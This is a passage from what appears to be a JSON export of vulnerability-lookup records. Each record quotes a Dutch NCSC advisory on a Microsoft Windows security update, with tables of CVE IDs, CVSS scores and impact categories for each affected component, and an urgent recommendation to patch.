|\n|----------------|------|-------------------------------------|\n| CVE-2026-45487 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47648 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42906 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42907 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45648 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-06-09T15:44:28.000000Z"}, {"uuid": "bffae4df-7cc4-408d-af50-f2f91b036e03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48573", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0181", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot diverse categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nTussen deze kwetsbaarheden zitten een zestal zeer ernstige, welke door Microsoft zijn ingeschaald met een CVSS score van 9 en hoger.\nDeze kwetsbaarheden bevinden zich in diverse componenten van Windows die bereikbaar en benaderbaar zijn vanaf netwerkverbindingen, zoals http.sys, DHCP, de Kernel en TCP/IP. Door de externe bereikbaarheid en de mogelijkheden tot uitvoer van willekeurige code, is het risico op grootschalig misbruik op korte termijn aanwezig. Op dit moment wordt (nog) geen actief misbruik waargenomen en is (nog) geen publieke Proof-of-Concept (PoC) of exploit bekend, maar het NCSC verwacht deze wel op korte termijn en adviseert daarom deze updates met spoed in te zetten.\n\n```\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42904 | 9.60 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42915 | 5.70 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45655 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-45658 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50507 | 6.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Mark of the Web (MOTW): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45595 | 5.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42969 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42971 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42970 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42973 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42978 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42977 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42979 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42991 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41108 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45640 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34335 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45601 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45598 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45596 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45638 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45603 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42911 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nFunction Discovery Service (fdwsd.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42836 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2025-10263 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45657 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48583 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45653 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42984 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45588 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48568 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48570 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48573 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48575 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48576 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48578 | 7.90 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45654 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47289 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47653 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47654 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-48563 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42909 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42913 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42992 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44799 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44801 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42985 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-42993 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft UxTheme Library (uxtheme.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45606 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45600 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45608 | 6.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45599 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-45635 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45605 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows UEFI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45656 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-8863  | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Hotpatch Monitoring Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42910 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Azure Attestation service and Device Health Attestation Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45642 | 3.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45639 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42908 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42989 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Collaborative Translation Framework: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45586 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47288 | 7.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42903 | 6.50 | Denial-of-Service                   | \n| CVE-2026-42914 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44810 | 8.40 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45636 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40409 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40404 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42986 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45607 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-47652 | 8.20 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NT OS Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42980 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42916 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44809 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42837 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nUI Automation Manager (uiamanager.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45597 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47291 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Kinect: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41092 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SDK: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45593 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48574 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Performance Monitor: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42981 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42974 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Identity (AppID) Subsystem: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45594 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45604 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Administrator Protection: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42829 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRole: Windows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45641 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-42972 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48565 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45634 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45602 | 9.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Internet (wininet.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45592 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42987 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49160 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42912 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42968 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Controller (NC) Host Agent: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44805 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48566 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45637 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42905 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44811 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42983 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44802 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44814 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44813 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Boot Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47656 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45487 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47648 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42906 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42907 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45648 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-06-09T15:44:28.000000Z"}, {"uuid": "b959e7e5-7fcd-46bf-9c4d-b49f23f8c1c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48575", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0181", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot diverse categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nTussen deze kwetsbaarheden zitten een zestal zeer ernstige, welke door Microsoft zijn ingeschaald met een CVSS score van 9 en hoger.\nDeze kwetsbaarheden bevinden zich in diverse componenten van Windows die bereikbaar en benaderbaar zijn vanaf netwerkverbindingen, zoals http.sys, DHCP, de Kernel en TCP/IP. Door de externe bereikbaarheid en de mogelijkheden tot uitvoer van willekeurige code, is het risico op grootschalig misbruik op korte termijn aanwezig. Op dit moment wordt (nog) geen actief misbruik waargenomen en is (nog) geen publieke Proof-of-Concept (PoC) of exploit bekend, maar het NCSC verwacht deze wel op korte termijn en adviseert daarom deze updates met spoed in te zetten.\n\n```\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42904 | 9.60 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42915 | 5.70 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45655 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-45658 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50507 | 6.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Mark of the Web (MOTW): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45595 | 5.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42969 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42971 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42970 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42973 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42978 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42977 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42979 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42991 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41108 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45640 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34335 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45601 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45598 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45596 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45638 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45603 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42911 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nFunction Discovery Service (fdwsd.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42836 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2025-10263 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45657 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48583 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45653 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42984 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45588 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48568 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48570 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48573 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48575 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48576 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48578 | 7.90 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45654 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47289 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47653 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47654 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-48563 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42909 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42913 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42992 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44799 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44801 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42985 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-42993 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft UxTheme Library (uxtheme.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45606 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45600 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45608 | 6.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45599 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-45635 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45605 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows UEFI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45656 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-8863  | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Hotpatch Monitoring Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42910 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft 